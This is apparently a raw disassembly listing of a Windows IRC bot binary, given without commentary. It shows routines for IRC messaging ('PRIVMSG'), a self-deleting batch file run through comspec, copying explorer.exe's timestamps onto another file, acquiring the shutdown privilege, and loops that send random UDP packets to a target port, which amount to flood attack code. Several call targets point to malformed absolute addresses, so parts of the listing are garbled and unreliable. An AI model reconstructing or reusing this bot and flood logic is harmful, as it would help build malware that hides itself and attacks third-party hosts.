		mov	[ebp+var_8], edx
		call	sub_419101
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A9D3


loc_40AA23:				; CODE XREF: sub_40A96F+62j
		dec	edi
		dec	esi
		jmp	short loc_40A9AD
; ---------------------------------------------------------------------------


loc_40AA27:				; CODE XREF: sub_40A96F+8Aj
		xor	eax, eax
		jmp	short loc_40AA30
; ---------------------------------------------------------------------------


loc_40AA2B:				; CODE XREF: sub_40A96F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_40AA30:				; CODE XREF: sub_40A96F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA35	proc near		; CODE XREF: sub_40EE72+3C8Cp
					; sub_40EE72+4AF5p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2650BAEh
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_100]


loc_40AA6E:				; CODE XREF: sub_40AA35+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40AA7A
		cmp	cl, 9
		jnz	short loc_40AA7D


loc_40AA7A:				; CODE XREF: sub_40AA35+3Ej
		inc	eax
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AA7D:				; CODE XREF: sub_40AA35+43j
					; sub_40AA35+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA97
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40AA7D
		cmp	cl, 21h
		jl	short loc_40AA7D


loc_40AA97:				; CODE XREF: sub_40AA35+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43F798
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA35	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AABF	proc near		; CODE XREF: sub_40EE72+5730p
		push	esi
		push	0
		call	dword_43F638
		test	eax, eax
		jz	short loc_40AAF6
		push	1
		call	dword_43F658
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AAF6
		push	edi
		push	esi
		nop
		call	near ptr 2740809h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2740000h
		call	dword_43F6BC
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AAF6:				; CODE XREF: sub_40AABF+Bj
					; sub_40AABF+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_40EE72+48BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43F674
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AB76
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 275039Dh
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2590000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43F6C4
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43F6C4
		push	ebx
		nop
		call	near ptr 2750000h
		push	edi
		nop
		call	near ptr 26307C3h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AB78
; ---------------------------------------------------------------------------


loc_40AB76:				; CODE XREF: sub_40AAFA+16j
		xor	eax, eax


loc_40AB78:				; CODE XREF: sub_40AAFA+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB7C	proc near		; CODE XREF: ___:0040E8BBp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43F724
		test	eax, eax
		jz	short loc_40AC1B
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_424084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 276066Ah
		push	ebx
		mov	ebx, dword_424078
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 2760000h
		push	esi
		call	ebx


loc_40AC1B:				; CODE XREF: sub_40AB7C+2Aj
					; sub_40AB7C+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC20	proc near		; CODE XREF: sub_40EE72+13C4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43F5B0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AC20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC42	proc near		; CODE XREF: sub_40CAF1+472p
					; sub_40EE72+59D2p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42F5C0, esi
		push	edi
		jz	short loc_40AC66
		cmp	dword_43F738, esi
		jnz	short loc_40AC66
		push	esi
		call	sub_40C1AE
		pop	ecx


loc_40AC66:				; CODE XREF: sub_40AC42+13j
					; sub_40AC42+1Bj
		call	sub_416F23
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 2771311h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	near ptr 2650879h
		nop
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ADC6
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2640000h
		push	edi
		nop
		call	near ptr 26307C3h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43C80C
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2720D7Dh
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26903C5h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AD6E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 27711B5h


loc_40AD6E:				; CODE XREF: sub_40AC42+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2770000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 2760B39h
		nop


loc_40ADC6:				; CODE XREF: sub_40AC42+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AC42	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADCA	proc near		; CODE XREF: sub_4013EC+7p
					; sub_401992+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADF2
		push	[esp+arg_0]
		call	dword_43F6EC
		test	eax, eax
		jnz	short loc_40ADEB
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40ADEB:				; CODE XREF: sub_40ADCA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADF2:				; CODE XREF: sub_40ADCA+Dj
		retn
sub_40ADCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADF3	proc near		; CODE XREF: sub_40EB92+D6p
		mov	ecx, dword_43F590
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AE01
		call	ecx

locret_40AE01:				; CODE XREF: sub_40ADF3+Aj
		retn
sub_40ADF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE02	proc near		; CODE XREF: sub_40EE72:loc_414554p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43F6E4
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AEC8
		sub	ecx, 32h
		jz	loc_40AEC1
		sub	ecx, 48h
		jz	short loc_40AE62
		sub	ecx, 6Eh
		jz	short loc_40AE5B


loc_40AE44:				; CODE XREF: sub_40AE02+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DA5C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_40AEA2
; ---------------------------------------------------------------------------


loc_40AE5B:				; CODE XREF: sub_40AE02+40j
		push	offset unk_42DA28
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------


loc_40AE62:				; CODE XREF: sub_40AE02+3Bj
		push	[ebp+var_8]
		call	sub_417B89
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417330
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE8F
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43F6E4
		cmp	eax, edi
		jz	short loc_40AEC8
		jmp	short loc_40AE44
; ---------------------------------------------------------------------------


loc_40AE8F:				; CODE XREF: sub_40AE02+79j
		push	offset unk_42D9E8


loc_40AE94:				; CODE XREF: sub_40AE02+5Ej
					; sub_40AE02+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_40AEA2:				; CODE XREF: sub_40AE02+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_40AEB2:				; CODE XREF: sub_40AE02+C8j
					; sub_40AE02+DCj
		push	esi
		call	sub_417C3B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AEC1:				; CODE XREF: sub_40AE02+32j
		push	offset unk_42D9A8
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------


loc_40AEC8:				; CODE XREF: sub_40AE02+29j
					; sub_40AE02+89j
		cmp	[esi], edi
		jbe	short loc_40AEB2
		lea	ebx, [esi+4]


loc_40AECF:				; CODE XREF: sub_40AE02+DAj
		push	ebx
		call	dword_43F6E0
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AECF
		jmp	short loc_40AEB2
sub_40AE02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40144A+243p
					; sub_401D82+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F60C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43F99C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4172AE
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF39	proc near		; CODE XREF: sub_4010B5+24Cp
					; sub_4010B5+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AF62
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AF55:				; CODE XREF: sub_40AF39+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AF55
		pop	edi
		jmp	short loc_40AF66
; ---------------------------------------------------------------------------


loc_40AF62:				; CODE XREF: sub_40AF39+Aj
		mov	edx, [esp+4+arg_0]


loc_40AF66:				; CODE XREF: sub_40AF39+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AF70
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AF70:				; CODE XREF: sub_40AF39+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF86	proc near		; DATA XREF: sub_40EE72+2E51o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43F5F4
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43F6A8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AFE1
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43F6EC
		cmp	eax, ebx
		jz	short loc_40AFE7


loc_40AFE1:				; CODE XREF: sub_40AF86+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B044


loc_40AFE7:				; CODE XREF: sub_40AF86+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DAD8
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B027
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h


loc_40B027:				; CODE XREF: sub_40AF86+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0278h


loc_40B044:				; CODE XREF: sub_40AF86+5Fj
		cmp	eax, ebx
		jz	short loc_40B054
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B057
; ---------------------------------------------------------------------------


loc_40B054:				; CODE XREF: sub_40AF86+C0j
		mov	[ebp+var_4], esi


loc_40B057:				; CODE XREF: sub_40AF86+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417330
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B077
		mov	[ebp+var_3C], eax


loc_40B077:				; CODE XREF: sub_40AF86+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B07F
		mov	[ebp+var_38], edi


loc_40B07F:				; CODE XREF: sub_40AF86+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B0AC


loc_40B086:				; CODE XREF: sub_40AF86+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43F58C
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B086


loc_40B0AC:				; CODE XREF: sub_40AF86+FEj
		push	[ebp+arg_0]
		call	dword_43F720
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DA9C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B0F5
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h


loc_40B0F5:				; CODE XREF: sub_40AF86+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h
sub_40AF86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B112	proc near		; DATA XREF: sub_40EE72+2FA9o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		nop
		call	near ptr 25F07CDh
		push	eax
		call	sub_417300
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43F6E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B1F7
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43F6EC
		cmp	eax, edi
		jnz	short loc_40B1F0
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB4C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B1D3
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h


loc_40B1D3:				; CODE XREF: sub_40B112+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25F0278h
		nop


loc_40B1F0:				; CODE XREF: sub_40B112+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B1FA
; ---------------------------------------------------------------------------


loc_40B1F7:				; CODE XREF: sub_40B112+6Ej
		lea	eax, [ebp+arg_0]


loc_40B1FA:				; CODE XREF: sub_40B112+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B215
		call	sub_41730A
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B218
; ---------------------------------------------------------------------------


loc_40B215:				; CODE XREF: sub_40B112+F0j
		push	[ebp+var_24]


loc_40B218:				; CODE XREF: sub_40B112+101j
		call	dword_43F668
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B22A
		mov	[ebp+var_24], esi


loc_40B22A:				; CODE XREF: sub_40B112+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B237
		mov	[ebp+var_24], eax


loc_40B237:				; CODE XREF: sub_40B112+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B24B
		mov	[ebp+var_28], esi


loc_40B24B:				; CODE XREF: sub_40B112+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B26C


loc_40B252:				; CODE XREF: sub_40B112+158j
		call	sub_41730A
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B252


loc_40B26C:				; CODE XREF: sub_40B112+13Ej
					; sub_40B112+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B2CB
		push	0Bh
		pop	esi


loc_40B279:				; CODE XREF: sub_40B112+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43F6CC
		push	[ebp+var_28]
		nop
		call	near ptr 260048Fh
		dec	esi
		jnz	short loc_40B279
		cmp	[ebp+var_24], edi
		jnz	short loc_40B26C
		call	sub_41730A
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43F668
		mov	[ebp+var_E], ax
		jmp	short loc_40B26C
; ---------------------------------------------------------------------------


loc_40B2CB:				; CODE XREF: sub_40B112+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB10
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B30B
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h


loc_40B30B:				; CODE XREF: sub_40B112+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0278h
sub_40B112	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B328	proc near		; CODE XREF: sub_40B358+2Ap
					; sub_40B390+7Ep ...
		mov	eax, dword_43F9B4
		push	esi
		mov	esi, dword_424078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B33C
		push	eax
		call	esi


loc_40B33C:				; CODE XREF: sub_40B328+Fj
		mov	eax, dword_43F9BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B349
		push	eax
		call	esi


loc_40B349:				; CODE XREF: sub_40B328+1Cj
		mov	eax, dword_43F9B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B356
		push	eax
		call	esi


loc_40B356:				; CODE XREF: sub_40B328+29j
		pop	esi
		retn
sub_40B328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B358	proc near		; CODE XREF: sub_40C351+14Ap
					; sub_40EE72+4881p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43F9B8
		call	near ptr 2640000h
		nop
		test	eax, eax
		jnz	short loc_40B38B
		call	sub_40B328
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B38B:				; CODE XREF: sub_40B358+28j
		push	1
		pop	eax
		leave
		retn
sub_40B358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B390	proc near		; CODE XREF: sub_40B417+D3p
					; sub_40B417+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43C80C
		push	[ebp+arg_4]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3D3
		push	7D0h
		call	near ptr 260048Fh
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40B3EA
; ---------------------------------------------------------------------------


loc_40B3D3:				; CODE XREF: sub_40B390+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_40B3EA:				; CODE XREF: sub_40B390+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		test	eax, eax
		jg	short loc_40B413
		call	sub_40B328


loc_40B413:				; CODE XREF: sub_40B390+7Cj
		xor	eax, eax
		leave
		retn
sub_40B390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B417	proc near		; DATA XREF: sub_40B56C+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43F9C0


loc_40B42F:				; CODE XREF: sub_40B417+79j
					; sub_40B417+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
